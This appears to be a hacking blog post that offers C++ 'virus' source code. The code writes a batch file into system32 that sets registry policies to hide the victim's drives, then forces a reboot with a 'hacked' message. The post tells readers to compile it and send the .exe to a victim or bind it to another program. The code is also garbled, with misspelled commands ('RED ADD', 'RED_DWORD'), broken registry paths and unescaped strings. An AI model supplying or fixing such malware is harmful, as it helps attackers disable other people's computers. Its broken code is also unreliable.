C++, Batch Virus Code to disable All Hard Disk || HAcking Tool in C++



 C++, Batch Virus Code to disable All Hard Disk 


Hii friends, Here I give you the C++ Virus Code. Actully Batch code is converted to C++ Virus Code. If  you like you can use it as batch code also.

Source Code :-

/*

        #########################################################################
        #########################################################################
        ##                                                                    ##
        ##         Program Name  :  BAtch Virus               ##
        ##                   Created By    :  Vighu                    ##
        ##                                                                     ##
        #########################################################################
        #########################################################################

*/

#include<windows.h>
#include<fstream.h>
#include<iostream.h>
#include<string.h>
#include<conio.h>

int main()
{
    ofstream write("C:\WINDOWS\system32\HackingStar.bat");
    /* Opening or creating new file with.bat extension*/

    write<<"RED ADD
        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current 
        Ver sion\policies\Explore /v NoDrives /t RED_DWORD /d 12n";
    
    write<<"RED ADD
        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
        VER sion\policies\Explore /v NoViewDrive /t RED_DWORD /d
        12n";

    write<<"shutdown-r-c "Sorry Your System is Hacked by us!"-
        f"<<"n";
    write.close(); //close file

    ShellExecute(NULL,"open","C:\WINDOWS\system32\HackingStar.bat",
            NULL,SW_SHOWNORMAL);
        
    return 0;
}


Copy the above code and paste in notepad

Save the file with .cpp extension

Compile and create .exe file in cpp


Note:-

     *    Don't run this c++ program, it will attack your system itself.

     *    Copy the created .exe file and send it to your victim. 

     *   You can also attack it with any other exe file.




Comments

Post a Comment